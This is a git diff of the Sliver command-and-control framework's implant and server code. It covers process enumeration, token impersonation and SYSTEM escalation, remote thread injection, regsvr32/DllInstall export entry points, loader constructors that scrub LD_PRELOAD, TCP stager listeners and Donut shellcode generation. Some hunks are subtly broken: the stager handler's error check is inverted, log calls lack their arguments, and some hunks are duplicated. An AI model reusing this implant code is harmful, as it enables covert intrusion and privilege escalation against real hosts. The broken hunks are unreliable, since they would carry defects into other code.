Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.DarwinProcess).CmdLine()
@@ -29,7 +29,7 @@ import (
"os"
"path/filepath"
"runtime"
"strconv"
"strconv"
"syscall"
"github.com/bishopfox/sliver/implant/sliver/ps"
@@ -49,7 +49,7 @@ func psHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
procs, err := ps.Processes(psListReq.FullInfo)
procs, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -155,12 +155,12 @@ func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
// Save the current network namespace
pidPath := strconv.Itoa(os.Getpid())
tidPath := strconv.Itoa(unix.Gettid())
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
origns, _ := getFdFromPath(filepath.Join(procDir, pidPath, "/task", tidPath, "/ns/net"))
defer unix.Close(origns)
// We only need to use the path value
for _, nsPath := range namespacesFound {
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
for _, nsPath := range namespacesFound {
nsFd, err := unix.Open(nsPath, unix.O_RDONLY|unix.O_CLOEXEC, 0)
if err != nil {
continue
}
@@ -180,7 +180,7 @@ func nsLinuxIfconfig(interfaces *sliverpb.Ifconfig) {
// {{if .Config.Debug}}
log.Printf("Interfaces: %v\n", ifaces)
// {{end}}
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
ifconfigParseInterfaces(ifaces, interfaces, nsPath)
}
// Switch back to the original namespace
unix.Setns(origns, unix.CLONE_NEWNET)
@@ -205,8 +205,8 @@ func ifconfigLinux() *sliverpb.Ifconfig {
func ifconfigParseInterfaces(netInterfaces []net.Interface, interfaces *sliverpb.Ifconfig, namespacePath ...string) {
// Append namespace ID if passed in
var appendNsId = ""
if len(namespacePath) > 0 {
appendNsId = fmt.Sprintf(" NS(%v)", namespacePath[0])
if len(namespacePath) > 0 {
appendNsId = fmt.Sprintf(" NS(%v)",namespacePath[0])
}
for _, iface := range netInterfaces {
@@ -38,7 +38,7 @@ func psHandler(data []byte, resp RPCResponse) {
// {{end}}
return
}
procs, err := ps.Processes(psListReq.FullInfo)
procs, err := ps.Processes()
if err != nil {
// {{if .Config.Debug}}
log.Printf("failed to list procs %v", err)
@@ -51,10 +51,10 @@ func psHandler(data []byte, resp RPCResponse) {
for _, proc := range procs {
p := &commonpb.Process{
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Pid: int32(proc.Pid()),
Ppid: int32(proc.PPid()),
Executable: proc.Executable(),
Owner: proc.Owner(),
Architecture: proc.Architecture(),
}
p.CmdLine = proc.(*ps.WindowsProcess).CmdLine()
+1 -1
View File
@@ -544,7 +544,7 @@ func (p *NetConnPivot) readEnvelope() (*pb.Envelope, error) {
// {{end}}
return nil, err
}
data, err = p.cipherCtx.DecryptWithoutSignatureCheck(data)
data, err = p.cipherCtx.Decrypt(data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Decryption error: %s", err)
+17 -12
View File
@@ -63,8 +63,10 @@ var CurrentToken windows.Token
func SePrivEnable(s string) error {
var tokenHandle windows.Token
thsHandle := windows.CurrentProcess()
thsHandle, err := windows.GetCurrentProcess()
if err != nil {
return err
}
windows.OpenProcessToken(
//r, a, e := procOpenProcessToken.Call(
thsHandle, // HANDLE ProcessHandle,
@@ -72,7 +74,7 @@ func SePrivEnable(s string) error {
&tokenHandle, // PHANDLE TokenHandle
)
var luid windows.LUID
err := windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
err = windows.LookupPrivilegeValue(nil, windows.StringToUTF16Ptr(s), &luid)
if err != nil {
// {{if .Config.Debug}}
log.Println("LookupPrivilegeValueW failed", err)
@@ -213,9 +215,7 @@ func impersonateUser(username string) (token windows.Token, err error) {
err = fmt.Errorf("username can't be empty")
return
}
// We do not need full process info here, just PID and executable name
p, err := ps.Processes(false)
p, err := ps.Processes()
if err != nil {
return
}
@@ -422,9 +422,7 @@ func Impersonate(username string) (token windows.Token, err error) {
func GetSystem(data []byte, hostingProcess string) (err error) {
runtime.LockOSThread()
defer runtime.UnlockOSThread()
// Just need PID, not all info
procs, _ := ps.Processes(false)
procs, _ := ps.Processes()
for _, p := range procs {
if p.Executable() == hostingProcess {
err = SePrivEnable("SeDebugPrivilege")
@@ -558,7 +556,14 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
var tokenInfoBufferSize uint32
// Get a handle for the current process
currentProcHandle := windows.CurrentProcess()
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("Could not get a handle for the current process: ", err)
// {{end}}
return nil, integrity, processName, err
}
// Get the PID for the current process
sessionPID, err := windows.GetProcessId(currentProcHandle)
@@ -569,8 +574,8 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
log.Println("Could not get PID for current process: ", err)
// {{end}}
} else {
// Get process info for the current PID, do not need full info
processInformation, err := ps.FindProcess(int(sessionPID), false)
// Get process info for the current PID
processInformation, err := ps.FindProcess(int(sessionPID))
if err != nil {
// {{if .Config.Debug}}
+4 -4
View File
@@ -36,16 +36,16 @@ type Process interface {
// called. Some operating systems don't provide snapshot capability of the
// process table, in which case the process table returned might contain
// ephemeral entities that happened to be running when this was called.
func Processes(fullInfo bool) ([]Process, error) {
return processes(fullInfo)
func Processes() ([]Process, error) {
return processes()
}
// FindProcess looks up a single process by pid.
//
// Process will be nil and error will be nil if a matching process is
// not found.
func FindProcess(pid int, fullInfo bool) (Process, error) {
return findProcess(pid, fullInfo)
func FindProcess(pid int) (Process, error) {
return findProcess(pid)
}
// Kill finds a process from a PID and terminates it.
+22 -32
View File
@@ -48,8 +48,8 @@ func (p *DarwinProcess) Architecture() string {
return p.arch
}
func findProcess(pid int, fullInfo bool) (Process, error) {
ps, err := processes(fullInfo)
func findProcess(pid int) (Process, error) {
ps, err := processes()
if err != nil {
return nil, err
}
@@ -63,7 +63,7 @@ func findProcess(pid int, fullInfo bool) (Process, error) {
return nil, nil
}
func processes(fullInfo bool) ([]Process, error) {
func processes() ([]Process, error) {
var owner string
buf, _, err := procInfoSyscall()
if err != nil {
@@ -92,39 +92,29 @@ func processes(fullInfo bool) ([]Process, error) {
binPath, _ = pCommReader.ReadString(0x00)
}
binPath = strings.TrimSuffix(binPath, "\x00") // Trim the null byte
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
if fullInfo {
// Discard the error: if the call errors out, we'll just have an empty argv slice
cmdLine, _ := getArgvFromPid(int(p.Proc.P_pid))
uid := fmt.Sprintf("%d", p.Eproc.Ucred.Uid)
u, err := user.LookupId(uid)
if err != nil {
owner = uid
} else {
owner = u.Username
}
if owner == "" {
owner = uid
}
arch := ""
darwinProcs[i] = &DarwinProcess{
pid: int(p.Proc.P_pid),
ppid: int(p.Eproc.Ppid),
binary: binPath,
owner: owner,
cmdLine: cmdLine,
arch: arch,
}
uid := fmt.Sprintf("%d", p.Eproc.Ucred.Uid)
u, err := user.LookupId(uid)
if err != nil {
owner = uid
} else {
darwinProcs[i] = &DarwinProcess{
pid: int(p.Proc.P_pid),
ppid: int(p.Eproc.Ppid),
binary: binPath,
}
owner = u.Username
}
if owner == "" {
owner = uid
}
arch := ""
darwinProcs[i] = &DarwinProcess{
pid: int(p.Proc.P_pid),
ppid: int(p.Eproc.Ppid),
binary: binPath,
owner: owner,
cmdLine: cmdLine,
arch: arch,
}
}
return darwinProcs, nil
+3 -8
View File
@@ -1,4 +1,3 @@
//go:build linux
// +build linux
package ps
@@ -152,8 +151,8 @@ func (p *UnixProcess) Refresh() error {
return err
}
func findProcess(pid int, fullInfo bool) (Process, error) {
ps, err := processes(fullInfo)
func findProcess(pid int) (Process, error) {
ps, err := processes()
if err != nil {
return nil, err
}
@@ -165,7 +164,7 @@ func findProcess(pid int, fullInfo bool) (Process, error) {
return nil, fmt.Errorf("no process found for pid %d", pid)
}
func processes(fullInfo bool) ([]Process, error) {
func processes() ([]Process, error) {
d, err := os.Open("/proc")
if err != nil {
return nil, err
@@ -202,10 +201,6 @@ func processes(fullInfo bool) ([]Process, error) {
if err != nil {
continue
}
if !fullInfo {
results = append(results, p)
continue
}
p.owner, err = getProcessOwner(int(pid))
if err != nil {
continue
+22 -31
View File
@@ -5,13 +5,12 @@ package ps
import (
"fmt"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
"runtime"
"strings"
"syscall"
"unsafe"
"github.com/bishopfox/sliver/implant/sliver/syscalls"
"golang.org/x/sys/windows"
)
// WindowsProcess is an implementation of Process for Windows.
@@ -53,7 +52,7 @@ func (p *WindowsProcess) SessionID() int {
return p.sessionID
}
func newWindowsProcess(e *syscall.ProcessEntry32, fullInfo bool) *WindowsProcess {
func newWindowsProcess(e *syscall.ProcessEntry32) *WindowsProcess {
// Find when the string ends for decoding
end := 0
for {
@@ -62,33 +61,24 @@ func newWindowsProcess(e *syscall.ProcessEntry32, fullInfo bool) *WindowsProcess
}
end++
}
account, _ := getProcessOwner(e.ProcessID)
sessionID, _ := getSessionID(e.ProcessID)
cmdLine, _ := getCmdLine(e.ProcessID)
arch, _ := getProcessArchitecture(e.ProcessID)
if fullInfo {
account, _ := getProcessOwner(e.ProcessID)
sessionID, _ := getSessionID(e.ProcessID)
cmdLine, _ := getCmdLine(e.ProcessID)
arch, _ := getProcessArchitecture(e.ProcessID)
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
owner: account,
cmdLine: cmdLine,
arch: arch,
sessionID: sessionID,
}
} else {
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
}
return &WindowsProcess{
pid: int(e.ProcessID),
ppid: int(e.ParentProcessID),
exe: syscall.UTF16ToString(e.ExeFile[:end]),
owner: account,
cmdLine: cmdLine,
arch: arch,
sessionID: sessionID,
}
}
func findProcess(pid int, fullInfo bool) (Process, error) {
ps, err := processes(fullInfo)
func findProcess(pid int) (Process, error) {
ps, err := processes()
if err != nil {
return nil, err
}
@@ -135,7 +125,7 @@ func getProcessOwner(pid uint32) (owner string, err error) {
return
}
defer syscall.CloseHandle(handle)
var token syscall.Token
if err = syscall.OpenProcessToken(handle, syscall.TOKEN_QUERY, &token); err != nil {
return
@@ -151,7 +141,7 @@ func getProcessOwner(pid uint32) (owner string, err error) {
return
}
func processes(fullInfo bool) ([]Process, error) {
func processes() ([]Process, error) {
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
if err != nil {
return nil, err
@@ -166,7 +156,7 @@ func processes(fullInfo bool) ([]Process, error) {
results := make([]Process, 0, 50)
for {
results = append(results, newWindowsProcess(&entry, fullInfo))
results = append(results, newWindowsProcess(&entry))
err = syscall.Process32Next(handle, &entry)
if err != nil {
@@ -259,6 +249,7 @@ func getCmdLine(pid uint32) ([]string, error) {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
}
err = syscall.CloseHandle(proc)
if err != nil {
return strings.Fields(syscall.UTF16ToString(module.SzExePath[:])), err
@@ -278,7 +269,7 @@ func getProcessArchitecture(pid uint32) (string, error) {
nativeArch = "x86_64"
} else {
var is64Bit bool
pHandle := windows.CurrentProcess()
pHandle, _ := windows.GetCurrentProcess()
if uint(pHandle) == 0 {
nativeArch = ""
} else if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
+7 -12
View File
@@ -3,13 +3,11 @@
#ifdef __WIN32
#include <windows.h>
// {{range .Config.Exports}}
void {{.}}();
// {{end}}
void StartW();
DWORD WINAPI Start()
{
{{ (index .Config.Exports 0) }}();
StartW();
return 0;
}
@@ -45,30 +43,27 @@ BOOL WINAPI DllMain(
#elif __linux__
#include <stdlib.h>
// {{range .Config.Exports}}
void {{.}}();
// {{end}}
void StartW();
static void init(int argc, char **argv, char **envp)
{
unsetenv("LD_PRELOAD");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
{{ (index .Config.Exports 0) }}();
StartW();
// {{end}}
}
__attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
#elif __APPLE__
#include <stdlib.h>
// {{range .Config.Exports}}
void {{.}}();
// {{end}}
void StartW();
__attribute__((constructor)) static void init(int argc, char **argv, char **envp)
{
unsetenv("DYLD_INSERT_LIBRARIES");
unsetenv("LD_PARAMS");
// {{if .Config.RunAtLoad}}
{{ (index .Config.Exports 0) }}();
StartW();
// {{end}}
}
+31 -4
View File
@@ -113,15 +113,42 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
// {{if or .Config.IsSharedLib .Config.IsShellcode}}
var isRunning bool = false
// {{range .Config.Exports}}
//export {{.}}
func {{.}} () {
// StartW - Export for shared lib build
//
//export StartW
func StartW() {
if !isRunning {
isRunning = true
main()
}
}
// {{end}}
// Thanks Ne0nd0g for those
//https://github.com/Ne0nd0g/merlin/blob/master/cmd/merlinagentdll/main.go#L65
// VoidFunc is an exported function used with PowerSploit's Invoke-ReflectivePEInjection.ps1
//
//export VoidFunc
func VoidFunc() { main() }
// DllInstall is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /n /i sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/bb759846(v=vs.85).aspx
//
//export DllInstall
func DllInstall() { main() }
// DllRegisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms682162(v=vs.85).aspx
//
//export DllRegisterServer
func DllRegisterServer() { main() }
// DllUnregisterServer - is used when executing the Sliver implant with regsvr32.exe (i.e. regsvr32.exe /s /u sliver.dll)
// https://msdn.microsoft.com/en-us/library/windows/desktop/ms691457(v=vs.85).aspx
//
//export DllUnregisterServer
func DllUnregisterServer() { main() }
// {{end}}
func main() {
+21 -4
View File
@@ -144,7 +144,13 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
if processHandle == 0 {
return err
}
currentProcHandle := windows.CurrentProcess()
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return err
}
err = windows.DuplicateHandle(processHandle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
@@ -308,8 +314,13 @@ func ExecuteAssembly(data []byte, process string, processArgs []string, ppid uin
}
defer windows.CloseHandle(handle)
defer windows.CloseHandle(lpTargetHandle)
currentProcHandle := windows.CurrentProcess()
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return "", err
}
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
@@ -355,7 +366,13 @@ func SpawnDll(procName string, processArgs []string, ppid uint32, data []byte, o
if err != nil {
return "", err
}
currentProcHandle := windows.CurrentProcess()
currentProcHandle, err := windows.GetCurrentProcess()
if err != nil {
// {{if .Config.Debug}}
log.Println("GetCurrentProcess failed")
// {{end}}
return "", err
}
err = windows.DuplicateHandle(handle, currentProcHandle, currentProcHandle, &lpTargetHandle, 0, false, syscalls.DUPLICATE_SAME_ACCESS)
if err != nil {
// {{if .Config.Debug}}
@@ -329,7 +329,7 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
// {{end}}
return nil, err
}
data, err = p.peerCipherCtx.DecryptWithoutSignatureCheck(data)
data, err = p.peerCipherCtx.Decrypt(data)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Peer decryption error: %s", err)
+3 -3
View File
@@ -81,16 +81,16 @@ func getOSVersion() string {
arch = "x86_64"
} else {
var is64Bit bool
pHandle := windows.CurrentProcess()
pHandle, _ := windows.GetCurrentProcess()
if uint(pHandle) == 0 {
//{{if .Config.Debug}}
log.Printf("error getting OS version: error getting current process handle")
log.Printf("error getting OS version: error getting current process handle: %v")
//{{end}}
arch = "<error getting arch>"
}
if err := windows.IsWow64Process(pHandle, &is64Bit); err != nil {
//{{if .Config.Debug}}
log.Printf("error getting OS version: error checking if running in WOW: %v", err)
log.Printf("error getting OS version: error checking if running in WOW: %v")
//{{end}}
arch = "<error getting arch>"
} else {
File diff suppressed because it is too large. Load diff
+17 -3
View File
@@ -182,7 +182,6 @@ message ImplantConfig {
bool IsShellcode = 104;
bool RunAtLoad = 105;
string DebugFile = 106;
repeated string exports = 107;
string HTTPC2ConfigName = 150;
bool NetGoEnabled = 151;
@@ -359,7 +358,6 @@ message ListenerJob {
DNSListenerReq DNSConf = 6;
HTTPListenerReq HTTPConf = 7;
MultiplayerListenerReq MultiConf = 8;
StagerListenerReq TCPConf = 9;
}
message MultiplayerListenerReq {
@@ -492,7 +490,10 @@ message StagerListenerReq {
string Host = 2;
uint32 Port = 3;
bytes Data = 4;
string ProfileName = 5;
bytes Cert = 5;
bytes Key = 6;
bool ACME = 7;
string ProfileName = 8;
}
message StagerListener { uint32 JobID = 1; }
@@ -505,6 +506,19 @@ message ShellcodeRDIReq {
message ShellcodeRDI { bytes Data = 1; }
message MsfStagerReq {
string Arch = 1;
string Format = 2;
uint32 Port = 3;
string Host = 4;
string OS = 5; // reserved for future usage
StageProtocol Protocol = 6;
repeated string BadChars = 7;
string HTTPC2ConfigName = 9;
}
message MsfStager { commonpb.File File = 1; }
// GetSystemReq - Client request to the server which is translated into
// InvokeSystemReq when sending to the implant.
message GetSystemReq {
File diff suppressed because it is too large. Load diff
+1 -3
View File
@@ -106,10 +106,8 @@ message KillReq {
}
// PsReq - Request the implant to list processes of a remote session.
// PsReq - Request the implant to list ses of a remote session.
message PsReq {
bool FullInfo = 1;
commonpb.Request Request = 9;
}
+1 -1
View File
@@ -770,7 +770,7 @@ func (s *SliverHTTPC2) stagerHandler(resp http.ResponseWriter, req *http.Request
for _, nonce := range nonces {
resourceID, err = db.ResourceIDByValue(nonce)
if err == nil {
if err != nil {
httpLog.Debug("Stager request")
build, _ := db.ImplantBuildByResourceID(resourceID.Value)
if build.Stage {
+2 -13
View File
@@ -34,7 +34,6 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/log"
"golang.zx2c4.com/wireguard/device"
)
@@ -87,16 +86,6 @@ func StartWGListenerJob(wgListener *clientpb.WGListenerReq) (*core.Job, error) {
JobCtrl: make(chan bool),
}
listenerJob := &clientpb.ListenerJob{
JobID: uint32(job.ID),
Type: constants.WGStr,
WGConf: wgListener,
}
err = db.SaveC2Listener(listenerJob)
if err != nil {
return nil, err
}
ticker := time.NewTicker(5 * time.Second)
done := make(chan bool)
@@ -240,7 +229,7 @@ func StartHTTPListenerJob(req *clientpb.HTTPListenerReq) (*core.Job, error) {
}
// StartTCPStagerListenerJob - Start a TCP staging payload listener
func StartTCPStagerListenerJob(host string, port uint16, name string, shellcode []byte) (*core.Job, error) {
func StartTCPStagerListenerJob(host string, port uint16, profileName string, shellcode []byte) (*core.Job, error) {
ln, err := StartTCPListener(host, port, shellcode)
if err != nil {
return nil, err // If we fail to bind don't setup the Job
@@ -252,8 +241,8 @@ func StartTCPStagerListenerJob(host string, port uint16, name string, shellcode
Description: "Raw TCP listener (stager only)",
Protocol: "tcp",
Port: port,
ProfileName: profileName,
JobCtrl: make(chan bool),
ProfileName: name,
}
go func() {
+1 -1
View File
@@ -60,7 +60,7 @@ func GenerateCertificateAuthority(caType string, commonName string) (*x509.Certi
certFilePath := filepath.Join(storageDir, fmt.Sprintf("%s-ca-cert.pem", caType))
if _, err := os.Stat(certFilePath); os.IsNotExist(err) {
certsLog.Infof("Generating certificate authority for '%s'", caType)
cert, key := GenerateECCCertificate(caType, commonName, true, false, false)
cert, key := GenerateECCCertificate(caType, commonName, true, false)
SaveCertificateAuthority(caType, cert, key)
}
cert, key, err := GetCertificateAuthority(caType)
+2 -8
View File
@@ -135,7 +135,7 @@ func RemoveCertificate(caType string, keyType string, commonName string) error {
// GenerateECCCertificate - Generate a TLS certificate with the given parameters
// We choose some reasonable defaults like Curve, Key Size, ValidFor, etc.
// Returns two strings `cert` and `key` (PEM Encoded).
func GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool, isOperator bool) ([]byte, []byte) {
func GenerateECCCertificate(caType string, commonName string, isCA bool, isClient bool) ([]byte, []byte) {
certsLog.Infof("Generating TLS certificate (ECC) for '%s' ...", commonName)
@@ -143,13 +143,7 @@ func GenerateECCCertificate(caType string, commonName string, isCA bool, isClien
var err error
// Generate private key
var curves []elliptic.Curve
if isOperator {
curves = []elliptic.Curve{elliptic.P256()}
} else {
curves = []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
}
curves := []elliptic.Curve{elliptic.P521(), elliptic.P384(), elliptic.P256()}
curve := curves[randomInt(len(curves))]
privateKey, err = ecdsa.GenerateKey(curve, rand.Reader)
if err != nil {
+2 -2
View File
@@ -26,14 +26,14 @@ const (
// MtlsC2ServerGenerateECCCertificate - Generate a server certificate signed with a given CA
func MtlsC2ServerGenerateECCCertificate(host string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(MtlsServerCA, host, false, false, false)
cert, key := GenerateECCCertificate(MtlsServerCA, host, false, false)
err := saveCertificate(MtlsServerCA, ECCKey, host, cert, key)
return cert, key, err
}
// MtlsC2ImplantGenerateECCCertificate - Generate a server certificate signed with a given CA
func MtlsC2ImplantGenerateECCCertificate(name string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(MtlsImplantCA, name, false, true, false)
cert, key := GenerateECCCertificate(MtlsImplantCA, name, false, true)
err := saveCertificate(MtlsImplantCA, ECCKey, name, cert, key)
return cert, key, err
}
+2 -2
View File
@@ -37,7 +37,7 @@ const (
// OperatorClientGenerateCertificate - Generate a certificate signed with a given CA
func OperatorClientGenerateCertificate(operator string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(OperatorCA, operator, false, true, true)
cert, key := GenerateECCCertificate(OperatorCA, operator, false, true)
err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", clientNamespace, operator), cert, key)
return cert, key, err
}
@@ -59,7 +59,7 @@ func OperatorServerGetCertificate(hostname string) ([]byte, []byte, error) {
// OperatorServerGenerateCertificate - Generate a certificate signed with a given CA
func OperatorServerGenerateCertificate(hostname string) ([]byte, []byte, error) {
cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false, true)
cert, key := GenerateECCCertificate(OperatorCA, hostname, false, false)
err := saveCertificate(OperatorCA, ECCKey, fmt.Sprintf("%s.%s", serverNamespace, hostname), cert, key)
return cert, key, err
}
-6
View File
@@ -123,12 +123,6 @@ func StartPersistentJobs(listenerJobs []*clientpb.ListenerJob) error {
return err
}
j.JobID = uint32(id)
case constants.TCPListenerStr:
job, err := c2.StartTCPStagerListenerJob(listenerJob.TCPConf.Host, uint16(listenerJob.TCPConf.Port), listenerJob.TCPConf.ProfileName, listenerJob.TCPConf.Data)
if err != nil {
return err
}
j.JobID = uint32(job.ID)
}
db.UpdateHTTPC2Listener(j)
}
+3 -9
View File
@@ -23,7 +23,7 @@ import (
"os"
"path/filepath"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/sirupsen/logrus"
@@ -138,7 +138,6 @@ type ServerConfig struct {
Watchtower *WatchTowerConfig `json:"watch_tower"`
GoProxy string `json:"go_proxy"`
HTTPDefaults *HttpDefaultConfig `json:"http_default"`
DonutBypass int `json:"donut_bypass"` // 1=skip, 2=abort on fail, 3=continue on fail.
// 'GOOS/GOARCH' -> CC path
CC map[string]string `json:"cc"`
@@ -195,10 +194,6 @@ func GetServerConfig() *ServerConfig {
}
log.RootLogger.SetLevel(log.LevelFrom(config.Logs.Level))
if config.DonutBypass < 1 || config.DonutBypass > 3 {
config.DonutBypass = 1
}
err := config.Save() // This updates the config with any missing fields
if err != nil {
serverConfigLog.Errorf("Failed to save default config %s", err)
@@ -228,8 +223,7 @@ func getDefaultServerConfig() *ServerConfig {
},
},
},
DonutBypass: 3,
CC: map[string]string{},
CXX: map[string]string{},
CC: map[string]string{},
CXX: map[string]string{},
}
}
+1 -1
View File
@@ -212,7 +212,7 @@ func startMultiplayerModeCmd(cmd *cobra.Command, _ []string) {
Type: "multiplayer",
MultiConf: multiConfig,
}
err = db.SaveC2Listener(listenerJob)
err = db.SaveHTTPC2Listener(listenerJob)
if err != nil {
fmt.Printf(Warn+"Failed to save job %v\n", err)
}
+1 -1
View File
@@ -36,7 +36,7 @@ func TestRootOnlyVerifyCertificate(t *testing.T) {
}
// Test with wrong CA
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false, false)
wrongCert, _ := certs.GenerateECCCertificate(certs.HTTPSCA, "foobar", false, false)
block, _ = pem.Decode(wrongCert)
err = clienttransport.RootOnlyVerifyCertificate(config.CACertificate, [][]byte{block.Bytes})
if err == nil {
+1
View File
@@ -77,6 +77,7 @@ func serverOnlyCmds() (commands []*cobra.Command) {
f.StringP("lhost", "L", "", "interface to bind server to")
f.Uint16P("lport", "l", 31337, "tcp listen port")
f.BoolP("tailscale", "T", false, "only expose multiplayer interface over Tailscale (requires TS_AUTHKEY)")
f.BoolP("persistent", "p", false, "make persistent across restarts")
})
commands = append(commands, startMultiplayer)
+6 -10
View File
@@ -515,7 +515,7 @@ func HTTPC2ConfigUpdate(newConf *clientpb.HTTPC2Config, oldConf *clientpb.HTTPC2
return nil
}
func SaveC2Listener(listenerConf *clientpb.ListenerJob) error {
func SaveHTTPC2Listener(listenerConf *clientpb.ListenerJob) error {
dbListener := models.ListenerJobFromProtobuf(listenerConf)
dbSession := Session()
result := dbSession.Clauses(clause.OnConflict{
@@ -916,18 +916,14 @@ func BeaconTasksByBeaconID(beaconID string) ([]*clientpb.BeaconTask, error) {
return nil, ErrRecordNotFound
}
beaconTasks := []*models.BeaconTask{}
/*
Even though we are fetching the request/response columns here, we will not send
them back in the response
If we SELECT those columns out, that will bypass GORM's reflection-based field
to column mapping and can cause GORM not to map the created_at field correctly
*/
err := Session().Where(&models.BeaconTask{BeaconID: id}).Find(&beaconTasks).Error
err := Session().Select([]string{
"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
"Description",
}).Where(&models.BeaconTask{BeaconID: id}).Find(&beaconTasks).Error
pbBeaconTasks := []*clientpb.BeaconTask{}
for _, beaconTask := range beaconTasks {
// Do not preserve the request and response columns
pbBeaconTasks = append(pbBeaconTasks, beaconTask.ToProtobuf(false))
pbBeaconTasks = append(pbBeaconTasks, beaconTask.ToProtobuf(true))
}
return pbBeaconTasks, err
}
-4
View File
@@ -20,7 +20,6 @@ package models
import (
"net/url"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
@@ -168,7 +167,6 @@ type ImplantConfig struct {
MaxConnectionErrors uint32
ConnectionStrategy string
SGNEnabled bool
Exports string
// WireGuard
WGPeerTunIP string
@@ -287,7 +285,6 @@ func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
IncludeWG: ic.IncludeWG,
IncludeTCP: ic.IncludeTCP,
Extension: ic.Extension,
Exports: strings.Split(ic.Exports, ","),
}
if ic.ImplantProfileID != nil {
@@ -498,7 +495,6 @@ func ImplantConfigFromProtobuf(pbConfig *clientpb.ImplantConfig) *ImplantConfig
cfg.IsShellcode = pbConfig.IsShellcode
cfg.RunAtLoad = pbConfig.RunAtLoad
cfg.DebugFile = pbConfig.DebugFile
cfg.Exports = strings.Join(pbConfig.Exports, ",")
cfg.HttpC2ConfigName = pbConfig.HTTPC2ConfigName
cfg.NetGoEnabled = pbConfig.NetGoEnabled
-2
View File
@@ -153,7 +153,6 @@ func SliverShellcode(name string, build *clientpb.ImplantBuild, config *clientpb
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
@@ -227,7 +226,6 @@ func SliverSharedLibrary(name string, build *clientpb.ImplantBuild, config *clie
Obfuscation: config.ObfuscateSymbols,
GOGARBLE: goGarble(config),
}
pkgPath, err := renderSliverGoCode(name, build, config, goConfig, pbC2Implant)
if err != nil {
return "", err
-1
View File
@@ -488,7 +488,6 @@ func multiLibrary(t *testing.T, goos string, goarch string, debug bool) {
ObfuscateSymbols: false,
Format: clientpb.OutputFormat_SHARED_LIB,
IsSharedLib: true,
Exports: []string{"StartW"},
WGPeerTunIP: "100.64.0.2",
WGKeyExchangePort: 1234,
WGTcpCommsPort: 5678,
+2 -6
View File
@@ -7,7 +7,6 @@ import (
"strings"
"github.com/Binject/go-donut/donut"
"github.com/bishopfox/sliver/server/configs"
)
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
@@ -35,9 +34,6 @@ func DonutShellcodeFromPE(pe []byte, arch string, dotnet bool, params string, cl
if createNewThread {
thread = 1
}
serverConf := configs.GetServerConfig()
donutArch := getDonutArch(arch)
// We don't use DonutConfig.Thread = 1 because we create our own remote thread
